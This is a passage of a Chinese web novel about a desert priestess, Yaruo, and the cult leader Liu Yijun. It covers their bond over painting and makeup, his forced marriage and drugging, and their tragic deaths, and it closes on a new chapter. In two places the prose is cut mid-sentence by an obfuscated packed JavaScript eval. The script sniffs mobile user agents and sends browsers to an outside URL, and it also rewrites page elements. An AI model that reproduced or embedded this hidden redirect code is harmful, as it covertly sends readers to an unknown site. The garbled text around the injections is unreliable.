柳宜均话不算少,偶尔脾气也很暴,唯独作画时,如郁郁柳间月、幽幽林里竹,少言寡语,澹雅宁静。 雅若坐在他身边,也不打扰他,眼中所见,是美人作画,而天地人又自成一画。 他笔下有许多她闻所未闻、见所未见的景物,江南的烟柳、山间的清泉、枝头的黄莺……她若不认得,他就一一解释,他也很乐意解释。 雅若问:“教主从前不在大漠么?” 柳宜均道:“不在,小时于江南长大。” “那一定比大漠漂亮很多。” “这却无法比较。” “教主很怀念那段时光吗?” “怀念景色,并不怀念时光。” 雅若没有再追问下去,柳宜均又起笔作画。 他问:“被我困这么久,可是十分无趣?” 雅若摇摇头,笑道:“没有啊,看你画画也很开心。在部落里,每日除了放牧也没大事。” 柳宜均敛眸轻笑,“你有喜欢做的事么?” 雅若仔细想想,“骑马算吧,我喜欢骑马,而且我的骑术可是乌兰部落里的第一!” “这么厉害。” 雅若被他忽然投来含笑的视线弄得有些不好意思,“也、也没有很厉害。” 柳宜均微抬下巴,“去我前面坐着。” 雅若哦了声,搬着凳子挪到他前面。 她坐在那里,看不到他的画,顿时有些无聊,只好捏地上长出的小花小草。 “抬头笑一下。”柳宜均吩咐。 她有些懵懂抬头,眼神还没对准,挤出个笑容。 “别笑得这么傻,就像你平时见到肉时那样笑就行。” “哦。”雅若思考了会,咧嘴嘿嘿一笑,露出一排整齐的白牙。 柳宜均望向她,挑挑眉,什么也没说叹了口气。 日头渐落,暮色四合,雅若头上快生草时,柳宜均才淡淡说声“过来”。 雅若丢下手中四叶草,搬着小板凳回到他身边,才发现那纸上竟画着一张黄昏策马图。 黄昏,黄沙,晕开无边的暖色。 穿着凤凰红衣的少女策马奔腾,如燃烧的花火。 他勾勒并不十分精细,却用点点颜色晕出热烈的意象,画里充满年轻、鲜活、张扬和野性。 少女脸上的红痣是那团意象中唯一的精细。 雅若忽然热了双颊,“教主,这画的是我吗?” 柳宜均看她一眼,搁笔起身,把画交到她手中,“不是你,是我?” “是我是我……你把我画得也太好看了,我都认不出了。”雅若小心翼翼接过画,像见到世上最独一无二的奇珍异宝般仔细端详那幅画,更是无一处不喜欢。 柳宜均觉得她这话说的傻,不禁一笑,“这画送你。” “真的?”雅若就差欢喜地一蹦三尺高,为这事,她激动了好几天。 她对柳宜均说:“教主,你太好了,我从小到大还没收到过礼物,这画我一定会好好珍藏。” 是夜,要歇下。 每一晚,雅若都睡床,柳宜均坐在案前歇息,她好几次想让他睡上去,自己打地铺,都遭到拒绝。 今夜因得画,心情太激动,竟迟迟难以入眠。 子夜时分,她睁眼,想看看他是否歇下,却发现他正坐在妆台前梳发。 梳发完,便是绾发,他的手比她还要灵巧,绾的发髻飘逸美丽。 接着,她看他执起黛笔,轻轻描眉,拿起胭脂,淡淡晕唇。 他从桌上妆奁里拿出精美的步摇,一件件,比衬着发,轻轻戴上去。 戴完后,他开口,“既然醒了,怎不出声?” 雅若忽然被问到,呆了一会才回话:“我没睡着。” 他淡道:“过来帮我挑挑哪个镯子好看。” 雅若下床,走到他身边,被他拉着坐他身旁,帮她认真挑了一对极衬肤色的白玉镯。 她平日便知柳宜均姿容绝艳,却不知他上妆后更加如神如仙,这妆容既磨淡他男性特征,却又不至于太女气,有一种雌雄莫辨的美丽。 也许有种美是模糊性别,不问男女,只望一眼,足以让人心旌摇曳。 雅若轻声问他:“教主,你想当一个女子么?” 她的言辞很认真,是在诚恳询问他的内心,并无调侃看轻之意。 柳宜均抬眸望向镜中,轻抚鬓角道:“我不想当女人,也不想当男人,只想当一个人。” 雅若仔细品读他的话,“只想当一个人。” 他语气很平淡,“无论我做什么,无论我想做什么,不会被轻易归类,不会被耻笑嘲讽,一个自由的人。” 柳宜均正欲拿下簪子,拆掉发髻,却被雅若握住手腕,她冲他一笑,“教主这样很好看,就像你画的画一样好看。” 他望着她的手,有些不解。 “所以,教主可以帮我也画一画么?我从小不会这些,想教主教教我。” 她见他眼角微弯,道声好。 柳宜均让她坐在椅上,正对着铜镜,为她描眉、点唇、绾发、描绘花钿。 他身上有一点淡淡的脂粉香,手骨纤细,白镯衬得雪腕如玉,雅若既看着镜中自己,也看着十分专心的他。 “教主。”她忽然叫住他。 他嗯了声,手上却未停顿。 “我觉得教主是世上最美的人,教主做的事是世上最美的事,教主的画是世上最美的画,我天天都想看教主作画。” 一口气说完这些话,雅若脸腾得红了起来。 其实,她也不知道为何要说这番话。 她想骑马,就可以肆意骑马,而教主却不能随意在人前做自己想做的事。 她只是想让他也能有这样随意的一方天地,不用避着她。 柳宜均替她上好口脂,温柔说一声好。 雅若望向镜中的自己,有些不可置信。 她倾身上前,瞪大眼睛看镜中那柳眉杏眼、唇红齿白之人,又侧着脸仔细看着红痣上添得一朵新梅,眼中光彩明亮几分。 “教主,你这双手真是绝了。雅若太笨了,说不出好话,总之就很好看,要是我自己来,只会涂成大花猫。” 还有这娇俏的垂云髻,比她自己扎的两条大辫子不知精巧几倍。 她欣喜回头,柳宜均就坐在她身旁,低头看着她。两人相望对视,皆是低头一笑。 月色浅淡,佳人成双,花颜如玉。 雅若恋恋不舍卸妆洗漱,躺下时,大着胆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137520|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“教主,要不你也在床上睡吧,总这样,我觉得很愧疚。” 二人于是同榻分被而眠,雅若问:“教主,你那个叔父,到底要你做什么?” 她问出心中藏了很久的问题。 “他想催我绵延子嗣。” “生孩子?为什么呀?你这么年轻,还不用传位于后代吧。” 他忽然问:“你知道缥缈宫为何要选祭司么?” “祭司,不都是用来主持神典和祭祀么?” “表面上是这样,实际上,你们都是用来送死的。” 雅若一惊,“啊?” “以十二部落祭司之血,和历代教主心头血,献祭三光大神,保大燕国祚绵长。心头血岂是容易取的,取十死九,所以他催我。“ 雅若气得一拍床榻,“这也太荒唐了,血如何有这么大的能耐?” “史传柳氏始祖为仙,其血能安天下,大漠十二部落始祖为镇国神兽,其血可辅佐仙人安天下。燕国史册所书,代代相传,皇室听信,谁敢不从?” “就……没法不这样做么?” “嗯。” “皇帝治理国家安不安稳,和你们的血有什么关系,若百姓知道了,必要打倒这样无道的皇帝!” “雅若,大漠外的百姓是知道的,他们也信这样的说辞。如今中原正值荒年,饿殍遍野,朝野动荡,人心不稳,正需要一颗定心丸,即便,它不是真的有用。” 雅若张口,却不知说什么,半晌,她问道:“那教主,真得会被取心尖血吗?” 他道:“不知道。” “我呢?我和那十一个祭司,也会被取血?” 柳宜均微微侧头,望她一眼。 “你不会。” * 过了段时间,雅若总在院里练长鞭,柳宜均很疑惑,但她也不说为什么。 柳宜均不再问,偶尔替她画上几幅画。 雅若将那些画珍藏起来。 有日,柳宜均忽然问她:“你想学画么?” 雅若很不好意思,“想学,可我连字都不会写几个,更别提画了。” “不碍事。”他很耐心教她。 时光似水,在时温柔,不在时方知此处已然干涸见底。 那位中原的柳大人亲自到来。 柳宜均作为教主,自然得外出迎接,他吩咐雅若好好待在房中,哪也别去。 雅若在房中练画。 不知过了多久,忽然有人拍她肩膀,她以为是教主,回头喊了声,却发现那里站着一个少年。 有点眼熟…… 想了会,才发现他是她来缥缈宫第一日遇见的那个会飞之人。 雅若呀了声,“怎么又是你,你怎么进来的?” “我来救你。” “救我?我不明白。” 少年思存片刻,道:“你再留这里,会遭大劫。” “你怎么知道?” “我会算命,我算出来的。” “看来你不仅是鸟人,还是神棍。” 少年一阵无语。 忽然门外走廊传来脚步声,雅若哎呀了声,“教主要回来了,他看见你必会生气,又要把你关进监牢。我感觉你这人也没什么恶意,就是人傻了些,你快走吧。” 然而门上已有动静,似乎来不及。 她狠下心,强摁着把他塞到床下,“你先好好待着,别发出声音。” 门开了,果然是柳宜均。 他面色却十分不好。 “教主?”雅若轻喊了句。 他没说话,走上前,竟然一把将她拥入怀中。 淡淡脂粉香萦绕鼻尖,雅若感到从头皮到发尾都瞬间炸开了。 床下忽然传来“咚——”的一声。 雅若头皮发麻,感觉四肢都僵硬了。 柳宜均皱眉,“什么声音?” 39. 月上柳梢头(5) 39.月上柳梢头(5) “我刚跺脚了。”雅若应道。 柳宜均眼神略有些狐疑。 “教主,你看起来不是很高兴,不如我们去外面走走?”雅若被他抱住,一时有些不适应,双手垂在旁边不知该摆在哪里。 柳宜均感到她的不适,放开她,“不必,我们就在屋中坐坐。” 他拉着她走到案前坐下,“阳春三月,江南柳绿,你愿不愿意去看看。” 他落笔欲绘柳色,却不甚满意,将纸揉成团。 雅若觉得他状态不对,语气放轻回道:“和教主一起么?” 柳宜均点点头。 “那当然愿意。” “不愿意!” 两道声音同时响起。 雅若一惊,向门口望去,不知何时,那黑衣少年竟悄无声息站在门边,面色不善望着二人。 柳宜均起身,将雅若护在身后,挡住少年的视线,厉声问道:“你究竟是谁?谁将你放出监牢的?” 少年抱臂不屑道:“就你们这监牢,能防住谁?” “狂妄!”柳宜均掌风一起,就要向少年身上打去。 少年钳住他手腕道:“柳大教主,且慢!我今日不是找你打架,我是有事和你说,说完就走!” 话音落,他望了望雅若,“你出去,我们男人之间有些私事要谈。” 雅若:“啊?” 僵持一会,柳宜均竟也道:“雅若,你先出去。” 她只好听从地出门,去庭院里转悠。 大约半柱香时间,柳宜均才从房中出来。 “教主,你们说什么了?”雅若好奇问道。 “没什么,一些部落的事罢了。”柳宜均搪塞过去。 * 接下来的一段时日,柳宜均似乎心情不错,他不再整日作画,而是带着雅若在偌大缥缈宫里走走。 可惜的是,他也只能在缥缈宫内转一转,却无法出大门。 雅若问为什么,他只一笑,带着她走到大门前,却被十几个侍卫拦住。 那些侍卫并不说话,只是用眼神呵止他们。 “教主,他们为何拦你……” “只要进了缥缈宫,就别想再出去。” “可你不是教主么?” “在缥缈宫,教主又算什么?不过是等待宰杀的药。教主之上,有大祭司,大祭司之上,有叔父,哪里轮到我做主?” 雅若大概明白什么叫‘身不由己’。 柳宜均却不当回事,带着她到宫后一片草原上,那里有马匹,“你不是喜欢骑马么?平日我拘你太紧,以后,你若想骑马,就来此处。” 雅若“哇”了声,眉开眼笑跑向其中一匹白马,“教主,这马儿真好看!” 她翻身骑上,身姿如飞燕灵活,绕着草场骑了一圈,回到柳宜均身边,“教主,你会骑马吗?我们一起吧!” “好。”柳宜均跨坐上棕马,行在她身旁。 雅若俯下身来,紧握缰绳,双腿一夹马肚,宛如离弦之箭冲了出去。 柳宜均亦不示弱,紧随其侧。 策马途中,雅若忽然回头道:“你信不信我可以站在马背上!” 柳宜均眉头微皱,“那太危险!” 雅若恍若未闻,她双脚离镫,平衡着重心,竟真得缓缓在奔腾的站起,吓得柳宜均面色一白。 谁知雅若忽然一跃,跳到柳宜均马上,轻巧坐在他身前,回眸朝他一笑。 她眼中颇带得色,“教主,我是不是很厉害?” 柳宜均望着她灿烂的笑颜微微愣住。 日落时分,二人席地而坐,看一轮暖阳渐西沉,晚霞在天边晕开昏黄。 柳宜均问雅若:“你为什么喜欢骑马?” 雅若答道:“因为骑马的时候,不用想很多事儿,没有烦恼,也没有忧愁,感觉身心都很自由。” “不过片刻自由。” “片刻也好啊,有总好过没有,不是吗?” “得而复失,不如从未得到,起码不会痛苦。” 雅若想了想,虽然不太同意,但还是道:“也许吧……” …… 日子平淡而温馨。 雅若吃好喝好,平时生活不外看柳宜均作画、陪柳宜均打扮和去草场策马。 她觉得这缥缈宫来得挺值。 大约过了一个月,她发现弟子正在筹备什么,但她问起来时,也没人能说清楚。 晚膳很丰富,其中有一道马奶酒,雅若非常喜欢。 睡前小酌,有助好梦。 今日的马奶酒尤其醇香,以至于她饮完后,便有些昏昏欲睡。 她倒在桌上,醉眼朦胧,“教主,今天酒好烈,我头好晕。” 柳宜均起身把她抱起,轻放在床榻上,“晕就好好睡一觉,睡一觉起来,什么都好了。” 困意袭来,浓郁的紫晕开,在朦胧中渐重成墨色。 雅若第二日醒来,是被颠醒的。 她睁开惺忪睡眼,发现身上虽盖着熟悉的锦被,周围却没有纱帐,而是一方密闭空间。 她在颠簸的马车上。 想明白后,她一个激灵,掀被起身,撩开前面的帘子,对外面头戴斗笠的驭马之人道:“你是谁?我怎么会在这儿?” 那人没说话,丢了封信给她。 她拿着信看了半天,急道:“我不认字啊!” 那人向后伸手,她把信又放回他手里,“你帮我念念呗。” 那人语气不佳,“不念。” 雅若认识这声音,“怎么是你啊?你就帮我念念嘛,我真看不懂。” 他长呼一口气,单手展开信,道:“雅若,见信如晤……” “什么叫见信如晤?” “……就是说你看到信就像看到他人一样。” “喔,你继续。” “雅若,见信如晤。 余性孤僻,不好交亲结友,人生流离二十余载,从南到北,身不由己,几无乐时。 余心所向,难与人言,唯作画时得一方清净世界。 汝初至,以为贼人,莫敢信之,几番试探,终知汝赤诚心怀。 然汝非笼中鸟,不应困于寂寥大漠。 三月柳色佳,如不弃,请往赏之。实景胜画百倍,隔岸观柳,蒙蒙兮如烟,以为妙绝。 卿为天边月,我为园中柳。愿尔常自在,不为天地囚。 柳宜均书。” 雅若听完,更加焦急,“我这是吃了没文化的亏,倘使在他身边时多学些字,也不至于干着急。他一定遇见什么事了,肯定是那个柳叔父作妖,我得回去帮他!” 驭马少年听她前半句话,一时语塞,而后道:“你别回去了,忙活一夜,才把你们这些祭司送出来,你现在回去,不是自投罗网?” “缥缈宫戒备森严,你怎么出来的?我又是怎么出来的?” “你忘了,我会‘妖术’。” “这妖术确实挺厉害的,可……可你为什么不把他也带出来?” “我的法术对他失效,带不走他。” 雅若坐在马车上,看着周围和大漠完全不一样的景致,一时迷茫无比。 她不知道下一步该做什么。 从前为成为缥缈宫祭司,她努力练习骑术,后来进了缥缈宫,每天生活便围着柳宜均转。 如今,柳宜均不需要她了,把她送到和以往生活都不同的世界。 “怎么?舍不得?”少年问道。 她扣着门沿,“舍不得。” 他半讽刺半调侃道:“想殉情?” “你胡说什么?我只拿教主当我亲姐……”第二个姐字还没说出口,她硬是改成“亲姐妹兄弟。” 少年叹了一声,“可惜,你我回去除了添乱,毫无用处。你在外,他还放心些,你若回去,他还要生出心思护你。” 她一锤车厢,怒道:“我要变强!有武力才能救人,自由只配强者拥有!” 少年唇角一抽,“你还悟出这么多道理。” “这到哪了?”她问少年。 “快到吴州了。” 雅若暗自下定决心。 一到吴州,她便开始找活。 少年原以为她当时说着玩玩,没想到她真得铆劲准备变强。 因她本人脸皮厚,敢说敢做,竟在吴州一达官贵人家寻得份教导小主人骑马的美差,一月赚得五钱银子,空余时间拿这些银子到武馆学习。 武馆里的教头见这么个娇弱小姑娘来习武,都觉稀奇得很,教她时生怕折了她的细胳膊细腿。 然而“娇弱小姑娘”本身却很认真,直到她把一个七尺男儿锤得乱窜,武馆教头便再不敢轻视她,且很佩服她习武时的野蛮劲。 到吴州后,雅若也知道那少年名叫郑思如。 因她在那贵人家作工,郑思如也来给这人家做护院。 他身手好,模样俊,引得丫鬟小姐常常脸红偷看他。 雅若自武馆回府,便看有小丫鬟拿着新蒸好的桂花糕,粉面含春递给他。 而这个毫无情趣的木头人却十分冷漠道:“我不爱吃甜的,以后别再给我了。” 把人家小姑娘惹得一腔春水变成热泪,羞红着脸跑走。 雅若走近,嗐了一声,“郑思如,你这样以后怎么讨媳妇?” “讨什么媳妇?麻烦死了。” 雅若拉着他走到一方偏僻地,撩起袖子,给他看自己的手臂,“看,我现在双臂十分有力量,今日已能撂倒武馆三位教头。长此以往,我一定能打败缥缈宫无敌手,救教主于水火之中。” 郑思如猛地看她撩开袖子,赶忙抬头望天,“雅若,你有毒,你还是女人么?” 雅若讪讪收回手臂,“我忘了,你们中原人讲究男女大防。” 她叹口气道:“郑思如,我真得想回去救教主。你不知道他那个叔父有多恶心,他们的传统有多可怕,他们要取他心尖血祭拜三光大神,说这才能保佑大燕风调雨顺,我觉得这是放屁,神有什么用?” 郑思如像听到什么秘密一样,“你不信三光大神?” 仪光、擎光、扶光号称三光大神,是九州大陆传说中天地万物起始之神,很受世人崇敬。 雅若对神的不屑似是刻在骨子里的,她摇摇头,“不信,肯定是假的,就是真的,也不是什么好神。” 郑思如啧道:“稀奇。” 她眉间染上愁色,求他数遍,“我真得很想回去,你可以帮帮我么?我把我赚的所有银子都给你,当作报答。” 郑思如无法,说:“也不是不行,等你能打败五十个武馆教头再说。缥缈宫外守卫,个个都是高手,你现在的水平过去,就是送死。” 雅若也非莽撞之人,自晓利害,只得再沉心静气,等待成长。 * 令人意想不到的事还是发生了。 不但雅若没想到,郑思如也没想到。 郑思如看见那人时,骂了句:“邪门了,还真是躲不过。” 那已是两年后,他们外出时,看见了柳宜均。 然而只有那张脸还算熟悉,通身的气质和装扮却俨然是另一个人。 柳宜均瘦削许多,眼下憔悴,面无血色,穿着一身灰衣,盘起发髻,是再普通不过的男子装扮。 眉眼锐气似被磨平,好似艳花枯萎,翠叶凋零。 在他身旁,有一位盘着妇人髻、面容温婉的女子。 女子抱着襁褓中的孩子,柳宜均轻搂着那女子的肩。 分明是一对夫妇。 雅若呆立在街上那方,郑思如喊她几声她也没听见。 逆着人潮,她穿梭在人群中,在他身后叫了声“教主”。 她看见柳宜均脚步一顿,回首看她。 她看见他原如绸缎黑亮的鬓角生出白发,看见他桃花双眸失了以往的神采。 泯然众人矣。 他身旁的女子也回身望她,而后看了眼柳宜均,轻浅一笑,“这位姑娘,你认识我的夫君?” 雅若有些呆滞地点头。 她柔声问道:“姑娘是我夫君何人?” “我是教主的……”雅若开口,可说了半天,却不知后面那词该如何衔接。 柳宜均才张口道:“她是我的义妹。” “我竟不知夫君还有一位如此貌美的义妹,既然相遇,不妨到家中一坐。” 雅若闻言,有些无措,她望向柳宜均,对方视线却落在远方,她侧身去看郑思如。 郑思如道:“想去就去,磨磨唧唧。” “哦,好……好啊,夫人可会觉得叨扰?” “不叨扰。” 柳夫人引着他们去了柳宅。 四人坐在厅里,气氛一时有些尴尬。 还是柳夫人先开口,道:“故人相见,想必有许多话说,恰好我儿饿了,我下去给他喂些吃的。” 郑思如坐了一会,也坐不住,给雅若使了个眼色,“你们先聊,我外面等着。” 厅中便只剩雅若和柳宜均。 二人一人坐在正座,一人坐在左下侧,谁也没有更靠近谁一步。 雅若一会儿摸辫子,一会儿攥衣角,想喝口茶缓解尴尬,却被茶盏烫到,赶忙抽回手。 柳宜均望见,淡淡道:“想问什么便问。” “哦……”雅若用手捏着被烫伤的部分,轻声问道:“教主……你怎么离开大漠了?” “叔父带我至中原寻医问药。” “寻医……问药?” 柳宜均露出一个阴郁的笑,“自然是让我做个真正的男人。” “他……他知道了?他怎么会知道……” “给我下药,逼我与人行房,便发现了。” 雅若愈发不知该怎么问话,她抑着愤怒和难过,道:“我去杀了他。” “杀他?你连我都打不过,如何杀他?” 她情绪有些激动,“也许我能呢?” 柳宜均冷笑一声,雅若根本没反应过来,飞镖便擦脸而过,削去她鬓边一缕发。 他道:“有些徒劳无功之事,便不要再想。” 雅若无言,半晌,她道:“教主,那些衣衫首饰你还留着么?” “扔了。” “那些画呢?” “烧了。” “我的也……也没了?当初,为何不给我留几张再把我送走?” “像念想这种东西,最是无用。无用之物,何必存留。” “不是这样……” “雅若,”他打断她,“如今的生活,也没什么不好,我成了真正的男人,不再残缺,难道不好么?你不该为我感到高兴么?” 雅若双唇微动,却没说出话来。 她记得他当初和她说,他不想当男人,也不想当女人,只想当一个人。 被人强迫行房,被人强迫献出心尖血,这样的日子,真得算一个完整的人么。 她真的不知道。 她轻声道:“也许……当初教主不该把我送走。我在你身边,也许不会让那个柳大人如此对你……这些年,我从未忘记教主,我努力习武,只为有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137521|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天能闯进缥缈宫,把教主救出来。现在看来,果然还是我太弱了,什么也做不了。” 柳宜均沉默。 “雅若明白。”她向他告辞,逃似的出了厅门。 从前同榻而眠、同席而食之人,忽然变成另一番模样,只让人心中堵得难受。 偏偏却又束手无策。 她出门,郑思如不知踪影,柳夫人却站在外面,哄着孩子。 “你看他可爱吗?”柳夫人眉眼盈盈,浑身散发着淡淡的母性光辉。 雅若用手指逗逗孩子,看他黑葡萄一样的眼睛一眨一眨,“真可爱。” 柳夫人叹息,“他可是来之不易,没皮没脸试了那么多次,终于怀上,也终于解脱了。” 雅若不太听懂柳夫人的话。 柳夫人虽温柔笑着,眼中却透出疲色,“姑娘,男女之情原是件快乐的事,可有些时候,却是折磨。这世上,有情人未必终成眷属,成了眷属的,也未必是有情人,但都是可怜人。” “夫人,不喜欢教主么?” “喜欢不喜欢有什么关系呢?重要的是,我是他的妻子,他是我的夫君,而我们孕育出了他,他会让叔父开心,让陛下开心,让天下子民开心,保柳氏荣华富贵,保大燕国祚绵长。” “不过是人身上流的热血,哪来这样神奇的效果。” “你信不信有什么关系?是不是事实又什么关系?只要陛下信,只要大多数人信,它就是真的。” 柳夫人的笑容很恬淡,却无端让雅若脊背生寒。 雅若问她:“夫人,你实话告诉我,你们这些年,是不是过得很艰难。” “假如姑娘心中本有一道疤,若不碰它,它便不疼,或是你原不认为那疤痕有什么。可有人为了治你,将那疤频频撕开,一遍又一遍展示于人,姑娘会怎样呢?会疼么?会麻木么?” “可我什么也做不了。” 柳夫人敛眸一笑,“都过去了。姑娘,过去了,就别回头。时光易老人易变,连我们自己都不认识自己,你又如何认识我们?连我们自己尚不知道该怎么做,你又能做什么?” “夫人,你是个通透稳重的人,我祝你们日后幸福长久。” 柳夫人轻笑,“人有悲欢离合,月有阴晴圆缺,此事古难全。姑娘,人生还长,你我非神仙,渡不了所有人,能渡自己,已然人生幸事。” 雅若点点头。 “要和我夫君告个别么?”柳夫人问。 雅若摇头,“不必了。” * 就好像突然为之努力的东西忽然不见,雅若陷入一种极大的茫然。 从前教主身体不完整时,她觉得他很完整。 可如今他身体完整了,还有个完整的家,她望向他的眼,却觉得他不完整了。 一个不再作画,不再执笔画眉的教主,真得还是教主么? 郑思如出现在她身旁,道:“是不是有点想哭?” 雅若点头又摇头,“好像也不是,我只是觉得有些怅然若失。” 他的痛苦她不能解,她的努力对他无用,就像两条线,也只相交刹那,而后渐行渐远。 只是一个决定,让他们无法陪伴彼此长久,只成了彼此人生中一惆怅过客罢了。 “思如,我忽然觉得自己很无力很没用,这双手到底能做什么?两年习武,原来依旧微不足道,真得只能任由这个世界改变我们么?” “还是有用的,”郑思如道:“你现在杀个山贼绰绰有余,打不死老虎,打死几只老鼠也行。不要妄自菲薄,尽力而为,求不求是本心,求不求得到则看能力和运气。” “你倒看得开。” “当然看得开,不然我得气死好几回。” …… 郑思如和雅若后来凭武力入伍。 诛山贼,伐宵小,涤荡少年意气。 五年后,巡街时,他们看见刻了柳字的华贵车辇驶过。 那位柳大人成了当朝宰相,很是显赫。 雅若和郑思如站在一旁看车辇缓缓驶过。 然而,顷刻之间,车辇忽然裂开,有两人似断线风筝从中飞坠而出,重重摔在地上,流了一地的血。 四周皆空的车厢上,坐着一个身穿紫色官袍的中年男子,也是口吐鲜血,心口插着一把匕首。 “孽障!我对你二人仁至义尽,居然反我……”他似是撑不住,让侍卫赶忙找大夫。 那男子怒吼:“将他们凌迟!死了也要凌迟!” 雅若反应过来,和郑思如疾步跑上前,分别抱着二人就跑。 二人竟然就是柳氏夫妇。 后面官兵追赶,郑思如和雅若卯着劲跑。 郑思如说:“不行,他们快赶上了,我试试能不能使法术!” 他边跑边拉住雅若的手,喊着三二一,下一秒消失在街巷,引得官兵惊慌失措。 四人出现在烟柳前一处苍茫荒地。 柳宜均和柳夫人身中毒掌,皆是面色惨白,血流不止。 “教主、夫人,你们……还好么?”雅若从未经历死别,望着那不断涌出的血,心如刀绞。 她怀中的柳夫人露出一抹笑,“我自由了。” 雅若点头,眼泪夺眶而出,“你自由了。” 柳宜均从衣襟中拿出一沓画,手颤着递给她,“画……没烧。” 雅若接过画,上面正是大漠策马的她,如今已染上血色。 那血色比太阳还要灿烂。 原来,他们从未改变,他们一直在谋求反抗的机会。 柳宜均递过画后,望向柳夫人,轻轻握住她的手。 对他们道:“你们要记得,她……也曾是个鲜衣怒马的姑娘,就和雅若一样。跟了我,委屈她了……” 柳夫人笑了笑,眉眼弯弯,温婉之外,更是明媚。 郑思如问:“你们的孩子呢?” “他……没了……”柳夫人眼中抚上哀戚之色。 柳宜均望向郑思如,道:“你……我知道你不是凡人,若有朝一日,你能见到阎罗王……可否帮我看一看,我的孩子,过得可好,投胎人家,可好……” “你孩子叫什么,长什么样?” 柳宜均指指画,气若游丝,“他叫明,日月明。莫……让他姓柳,别让他再重蹈柳氏宿命……” 郑思如应下。 他和雅若陪着他们走到生命尽头。 就在这无边烟柳色里,为之立了不明显的坟墓,将二人同穴埋葬。 届时,新月初上,竟十分团圆。 雅若坐在坟前,“柳夫人说,你我皆非神仙,无法渡所有人。要是我是神仙,是不是就可以渡所有人,让他们都自由自在,不受钳制。” “神仙也有神仙的难处。” “思如,接下来,我们也当不了官差,去做什么呢?” “当游侠,仗剑江湖,岂不快哉。” …… 然而后来,因柳相之死、柳家之灭,加之北方旱灾蝗灾急剧加重,燕国皇帝震怒,认为因大漠子民不受约束,三光大神震怒降罪,故而决定发兵大漠,强征大漠子民之血,以之祭天。 雅若和郑思如回到大漠,加入了反抗朝廷的军队中。 雅若战死那日,也是一轮明月高悬。 郑思如坐在她身旁。 郑思如问她:“下辈子,你会喜欢我么?” 雅若笑道:“如果你真是仙人,下辈子,早点找到我,也许我会喜欢你。” 他说,好。 此事古难全,但愿人长久,千里共婵娟。 40. 人约黄昏后(1) 40.人约黄昏后(1) 王心若在镜子前,发出一声长长的叹息。 从鼎中醒来后,她就感觉脑内一团乱麻,识海中似有无数烟花同时炸开,所以急需一样法宝来替她梳理记忆。 她隐约记得这面镜子可窥前世,所以坐那查看许久。 谁知看完之后,记忆非但没清晰,反而更加混乱,心头还蒙上一层淡淡的怅然。 她只好切断和镜子连接的神识,站了起来。 结果一回身,便发现那九个脸熟的男子皆是眼含担忧地望着她。 面对如此炽热的九道视线,王心若差点当场再次去世。 为缓解尴尬,她决定先离开此地,回自己的洞府歇歇。 师弟们看着自家刚复活的师姐沉默不语、一言不发,心中也十分忐忑紧张,他们不知道师姐刚刚从镜中看到了什么,也不知道师姐的记忆是否完全。 但是,这样的反应绝对不妙。 王心若走着走着,忽然觉得右腿有些奇怪,结果下一刻,“咔嚓”一声,她一个趔趄摔在雪里。 诸师弟忽然从后面围上来,想要扶她起来。 这些人围住她,她又一阵喘不上气想昏厥的感觉。 “别动!”她语气略激动地喊道。 师姐从未这么严厉地训斥所有人,霎时间,师弟们脸都白了。 师姐一定是知道了什么! 王心若抑着头痛扫了一圈身边人,不知为何,以往她疼爱的这些师弟如今在她脑海里却呈现出十分诡异的形象。 比如,身不由己的美弱惨,好赌疯玩的死纨绔,黑心黑肝的笑面虎,两耳不闻窗外事的呆头鹅,心比天高的落魄贵族,见异思迁的大将军,爱你但无法给你名分的枭雄,不解风情一心事业的竹马…… 不过,倒有位师弟不在此列。 王心若望向赵玄檀,道:“你来扶我。” 她乱糟糟的记忆里没有这张脸。 幸好,还有这片唯一的净土。 赵玄檀在其他人杀人般的目光中把王心若扶起来。 王心若刚刚复活,体质特殊,无法运灵,四肢也不太灵活,她只好靠着赵玄檀才缓缓站起来。 “师姐!”身后,慕容修略带急切喊她。 她也知道他们应该有很多话想和她说,但她现在一刻也不敢在这里待下去,她压低声音对赵玄檀道:“玄檀,快带我回长风崖。” 赵玄檀巴不得赶紧离开这儿,腰间浮风扇一开,载着两人离去。 王心若回眸,看见林果果十分无措地坐在镜旁,便喊道:“果果,你也来。” 林果果赶忙起身,和陆起告辞后,就搬着镜子尾随赵玄檀和王心若而去。 云渚雪山便剩下那八人。 “赵师兄凭什么陪着师姐?”陶闻生一脸不可置信,如遭重击。 柳宜均瞥他一眼,“他不陪,你陪?” 陶闻生闻言不悦,“你什么意思?” “没什么意思,做了什么你自己知道,反正我没兴趣和你们站一起。” 裴嘉受不了他冷嘲热讽的语气,“柳师弟,好好说话不行么?” “哟,裴小世子,觉得我说话不中听?你自己在情劫里怎么对师姐说话的,不记得了?要不要师弟我帮你回忆回忆?” 裴嘉被他说的心一虚,“我……好歹我和师姐好聚好散,一别两宽,不像有些人,吃着锅里的霸着盆里的,朝三暮四,可耻至极!” 陆起闻言,沉重的裂天戟痛捶地面,“裴师弟此话也太夸张了些,不过是一房小妾,何来朝三暮四。” 陶闻生一脸沉痛,驳道:“掌门师兄,我平日最敬重你,可你这话说得也太没良心。有了师姐,还要什么小妾,这不是该死是什么?” 